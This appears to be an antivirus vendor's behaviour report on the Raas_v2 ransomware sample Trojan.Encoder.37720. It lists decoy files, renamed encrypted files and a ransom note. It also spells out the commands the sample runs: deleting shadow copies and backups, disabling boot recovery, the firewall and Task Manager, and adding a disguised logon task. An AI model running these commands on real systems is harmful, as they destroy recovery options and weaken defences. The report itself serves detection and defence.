Trojan.Encoder.37720

Technical Information

To ensure autorun and distribution

Creates the following files on removable media

<Drive name for removable media>:\000814251_video_01.avi
<Drive name for removable media>:\gruenspecht_02172016.pptx
<Drive name for removable media>:\waterresourcesag.pptx
<Drive name for removable media>:\accountsreceivable.ppt
<Drive name for removable media>:\mappingconcepthubberlin.ppt
<Drive name for removable media>:\proposaltemplates.ppt
<Drive name for removable media>:\ksearch_esa_talk.ppt
<Drive name for removable media>:\cleanlyrics.png
<Drive name for removable media>:\breakpoint.png
<Drive name for removable media>:\dissolveanother.png
<Drive name for removable media>:\hhhlcert.pem
<Drive name for removable media>:\systisoft.pem
<Drive name for removable media>:\indogerman2010.pptx
<Drive name for removable media>:\ck_ugo.pem
<Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.pdf
<Drive name for removable media>:\7790_preview.pdf
<Drive name for removable media>:\dualectls.pdf
<Drive name for removable media>:\10thingscondoms.pdf
<Drive name for removable media>:\clip_1080_5sec_10mbps_h264.mp4
<Drive name for removable media>:\video.mp4
<Drive name for removable media>:\clip_480_5sec_6mbps_h264.mp4
<Drive name for removable media>:\scan.mov
<Drive name for removable media>:\spanner.mov
<Drive name for removable media>:\firefly1.mov
<Drive name for removable media>:\210252809.jpg
<Drive name for removable media>:\server.pem
<Drive name for removable media>:\hypothyroidism_slides.pptx
<Drive name for removable media>:\asaprojectcompetition.pptx
<Drive name for removable media>:\digest.rdf
<Drive name for removable media>:\price030215.zip
<Drive name for removable media>:\1sm_price.zip
<Drive name for removable media>:\excel_example.zip
<Drive name for removable media>:\price.zip
<Drive name for removable media>:\suspendedcompanies.xlsx
<Drive name for removable media>:\cee_mmsprogram_summary_public.xlsx
<Drive name for removable media>:\trtf_matrix2012_oct.xlsx
<Drive name for removable media>:\2013_smccc_competition_points_jul2013.xlsx
<Drive name for removable media>:\national_autism_preparation_programs.xlsx
<Drive name for removable media>:\calculatorworksheet.xls
<Drive name for removable media>:\subjectclassification.xls
<Drive name for removable media>:\fiche_inscription_2015.xls
<Drive name for removable media>:\removedtitles_records.xls
<Drive name for removable media>:\productos.xls
<Drive name for removable media>:\guide_reorganization_mapping.xls
<Drive name for removable media>:\babyboymaintonotesbackground_pal.wmv
<Drive name for removable media>:\passport_pal.wmv
<Drive name for removable media>:\testwmv.wmv
<Drive name for removable media>:\babyboymaintoscenesbackground.wmv
<Drive name for removable media>:\babyboymaintoscenesbackground_pal.wmv
<Drive name for removable media>:\static_electricity_easy_and_quick_activities.rtf
<Drive name for removable media>:\fungalnameauthors.rtf
<Drive name for removable media>:\router_manual.rtf
<Drive name for removable media>:\skos.rdf
<Drive name for removable media>:\schema.rdf
<Drive name for removable media>:\region-north-karelia.jpg
<Drive name for removable media>:\removedtitles_records.zip
<Drive name for removable media>:\1189.jpg
<Drive name for removable media>:\pushkin.jpg
<Drive name for removable media>:\tcm851ax32.exe
<Drive name for removable media>:\glidescope_review_rev_010.docx
<Drive name for removable media>:\nwfieldnotes1966.docx
<Drive name for removable media>:\aoc_saq_d_v3_merchant.docx
<Drive name for removable media>:\holycrosschurchinstructions.docx
<Drive name for removable media>:\adhd_and_obesity.docx
<Drive name for removable media>:\hadac_newsletter_july_2010_final.docx
<Drive name for removable media>:\file_p_00000000_1371597592.docx
<Drive name for removable media>:\hanni_umami_chapter.doc
<Drive name for removable media>:\fi51.doc
<Drive name for removable media>:\508softwareandos.doc
<Drive name for removable media>:\dotnetfx45_full_setup.exe
<Drive name for removable media>:\weeklysheet1215.doc
<Drive name for removable media>:\contosoroot.cer
<Drive name for removable media>:\contosoroot_1.cer
<Drive name for removable media>:\contoso.cer
<Drive name for removable media>:\contoso_1.cer
<Drive name for removable media>:\testee.cer
<Drive name for removable media>:\sdkfailsafeemulator.cer
<Drive name for removable media>:\toolbar.bmp
<Drive name for removable media>:\tileimage.bmp
<Drive name for removable media>:\dialmap.bmp
<Drive name for removable media>:\dashborder_120.bmp
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\wrar520.exe
<Drive name for removable media>:\winmine.exe
<Drive name for removable media>:\chromesetup.exe
<Drive name for removable media>:\168.jpg
<Drive name for removable media>:\2.jpg
<Drive name for removable media>:\3.jpg
<Drive name for removable media>:\210252809.jpeg
<Drive name for removable media>:\1189.jpeg
<Drive name for removable media>:\2.jpeg
<Drive name for removable media>:\4f0bf7ff71f28.jpeg
<Drive name for removable media>:\pushkin.jpeg
<Drive name for removable media>:\13.jpeg
<Drive name for removable media>:\region-north-karelia.jpeg
<Drive name for removable media>:\168.jpeg
<Drive name for removable media>:\browse.html
<Drive name for removable media>:\iisstart.html
<Drive name for removable media>:\alert.html
<Drive name for removable media>:\adadsi.html
<Drive name for removable media>:\about.html
<Drive name for removable media>:\tree_view.html
<Drive name for removable media>:\64bit_notes.htm
<Drive name for removable media>:\trivial-merge.htm
<Drive name for removable media>:\alert.htm
<Drive name for removable media>:\about.htm
<Drive name for removable media>:\ituneshelpunavailable.htm
<Drive name for removable media>:\garden.htm
<Drive name for removable media>:\tree_view.htm
<Drive name for removable media>:\skypesetup.exe
<Drive name for removable media>:\4f0bf7ff71f28.jpg
<Drive name for removable media>:\system volume information\indexervolumeguid

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)

deletes volume shadow copies.

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall set currentprofile state off
'<SYSTEM32>\netsh.exe' firewall set opmode mode=disable

Modifies file system

Creates the following files

%TEMP%\content\3476-3876-<File name>.exe-15-52-12-696.dump
%TEMP%\content\3476-3876-<File name>.exe-15-52-15-699.dump
%TEMP%\content\3476-3876-<File name>.exe-15-52-17-626.dump

Sets the 'hidden' attribute to the following files

<Full path to file>

Moves the following files

from %ProgramFiles%\desktop.ini to %ProgramFiles%\[decryption.helper@aol.com][cae53cb8]desktop.ini.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\j2pcsc.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]j2pcsc.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\j2pkcs11.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]j2pkcs11.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jaas_nt.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jaas_nt.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jabswitch.exe to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jabswitch.exe.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\java-rmi.exe to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]java-rmi.exe.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\java.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]java.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\java.exe to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]java.exe.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javaaccessbridge-64.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javaaccessbridge-64.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javacpl.cpl to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javacpl.cpl.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javacpl.exe to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javacpl.exe.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javafx_font.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javafx_font.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javafx_font_t2k.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javafx_font_t2k.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javafx_iio.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javafx_iio.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javaw.exe to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javaw.exe.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\javaws.exe to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]javaws.exe.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\java_crw_demo.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]java_crw_demo.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jawt.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jawt.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jawtaccessbridge-64.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jawtaccessbridge-64.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jdwp.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jdwp.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\instrument.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]instrument.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jfr.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jfr.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\hprof.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]hprof.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\glib-lite.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]glib-lite.dll.raasv2
from %ProgramFiles%\internet explorer\signup\install.ins to %ProgramFiles%\internet explorer\signup\[decryption.helper@aol.com][cae53cb8]install.ins.raasv2
from %ProgramFiles%\java\jre1.8.0_77\copyright to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]copyright.raasv2
from %ProgramFiles%\java\jre1.8.0_77\license to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]license.raasv2
from %ProgramFiles%\java\jre1.8.0_77\readme.txt to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]readme.txt.raasv2
from %ProgramFiles%\java\jre1.8.0_77\release to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]release.raasv2
from %ProgramFiles%\java\jre1.8.0_77\thirdpartylicensereadme-javafx.txt to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]thirdpartylicensereadme-javafx.txt.raasv2
from %ProgramFiles%\java\jre1.8.0_77\thirdpartylicensereadme.txt to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]thirdpartylicensereadme.txt.raasv2
from %ProgramFiles%\java\jre1.8.0_77\welcome.html to %ProgramFiles%\java\jre1.8.0_77\[decryption.helper@aol.com][cae53cb8]welcome.html.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\awt.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]awt.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\bci.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]bci.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\dcpr.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]dcpr.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\decora_sse.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]decora_sse.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\deploy.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]deploy.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\dt_shmem.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]dt_shmem.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\dt_socket.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]dt_socket.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\eula.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]eula.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\fontmanager.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]fontmanager.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\fxplugins.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]fxplugins.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\glass.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]glass.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\gstreamer-lite.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]gstreamer-lite.dll.raasv2
from %ProgramFiles%\java\jre1.8.0_77\bin\jfxmedia.dll to %ProgramFiles%\java\jre1.8.0_77\bin\[decryption.helper@aol.com][cae53cb8]jfxmedia.dll.raasv2

Network activity

Connects to

'google.com':443

TCP

Other

'google.com':443

UDP

DNS ASK google.com

Miscellaneous

Creates and executes the following

'<SYSTEM32>\cmd.exe' /C attrib +h +s "<Full path to file>"' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label K: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label L: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label M: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label N: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label O: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label I: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label J: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label P: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label S: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label T: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label U: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label V: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label X: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label Q: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label R: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label H: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label G: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label F: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wbadmin DELETE SYSTEMSTATEBACKUP' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wmic shadowcopy delete' (with hidden window)
'<SYSTEM32>\cmd.exe' /C wbadmin delete catalog -quiet' (with hidden window)
'<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
'<SYSTEM32>\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (with hidden window)
'<SYSTEM32>\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\EAF\svchost.exe"' (with hidden window)
'<SYSTEM32>\cmd.exe' /C netsh advfirewall set currentprofile state off' (with hidden window)
'<SYSTEM32>\cmd.exe' /C Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label A: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label B: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label C: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label D: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label E: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C netsh firewall set opmode mode=disable' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label Y: Locked by Raas_v2' (with hidden window)
'<SYSTEM32>\cmd.exe' /C label Z: Locked by Raas_v2' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /C attrib +h +s "<Full path to file>"
'<SYSTEM32>\cmd.exe' /C label Q: Locked by Raas_v2
'<SYSTEM32>\label.exe' P: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label P: Locked by Raas_v2
'<SYSTEM32>\label.exe' O: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label O: Locked by Raas_v2
'<SYSTEM32>\label.exe' N: Locked by Raas_v2
'<SYSTEM32>\label.exe' Q: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label N: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label M: Locked by Raas_v2
'<SYSTEM32>\label.exe' L: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label L: Locked by Raas_v2
'<SYSTEM32>\label.exe' K: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label K: Locked by Raas_v2
'<SYSTEM32>\label.exe' J: Locked by Raas_v2
'<SYSTEM32>\label.exe' M: Locked by Raas_v2
'<SYSTEM32>\label.exe' V: Locked by Raas_v2
'<SYSTEM32>\notepad.exe' %APPDATA%\#FILES-ENCRYPTED.txt
'<SYSTEM32>\cmd.exe' /C label S: Locked by Raas_v2
'<SYSTEM32>\searchprotocolhost.exe' Global\UsGthrFltPipeMssGthrPipe3_ Global\UsGthrCtrlFltPipeMssGthrPipe3 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "%...
'<SYSTEM32>\label.exe' Z: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label Z: Locked by Raas_v2
'<SYSTEM32>\label.exe' Y: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label Y: Locked by Raas_v2
'<SYSTEM32>\label.exe' X: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label J: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label X: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label V: Locked by Raas_v2
'<SYSTEM32>\label.exe' U: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label U: Locked by Raas_v2
'<SYSTEM32>\label.exe' T: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label T: Locked by Raas_v2
'<SYSTEM32>\label.exe' S: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label R: Locked by Raas_v2
'<SYSTEM32>\label.exe' R: Locked by Raas_v2
'<SYSTEM32>\label.exe' I: Locked by Raas_v2
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /C netsh advfirewall set currentprofile state off
'<SYSTEM32>\cmd.exe' /C bcdedit /set {default} recoveryenabled no
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
'<SYSTEM32>\vds.exe'
'<SYSTEM32>\wbengine.exe'
'<SYSTEM32>\cmd.exe' /C netsh firewall set opmode mode=disable
'<SYSTEM32>\wbadmin.exe' delete catalog -quiet
'<SYSTEM32>\cmd.exe' /C wmic shadowcopy delete
'<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTATEBACKUP
'<SYSTEM32>\cmd.exe' /C wbadmin DELETE SYSTEMSTATEBACKUP
'<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet
'<SYSTEM32>\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn "Chrome Update" /tr "C:\Users\EAF\svchost.exe"
'<SYSTEM32>\attrib.exe' +h +s "<Full path to file>"
'<SYSTEM32>\cmd.exe' /C wbadmin delete catalog -quiet
'<SYSTEM32>\label.exe' D: Locked by Raas_v2
'<SYSTEM32>\label.exe' H: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label A: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label H: Locked by Raas_v2
'<SYSTEM32>\label.exe' G: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label G: Locked by Raas_v2
'<SYSTEM32>\label.exe' F: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label F: Locked by Raas_v2
'<SYSTEM32>\label.exe' E: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label I: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label E: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label D: Locked by Raas_v2
'<SYSTEM32>\label.exe' C: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label C: Locked by Raas_v2
'<SYSTEM32>\label.exe' B: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C label B: Locked by Raas_v2
'<SYSTEM32>\label.exe' A: Locked by Raas_v2
'<SYSTEM32>\cmd.exe' /C Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\searchfilterhost.exe' 0 768 772 780 8192 776

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial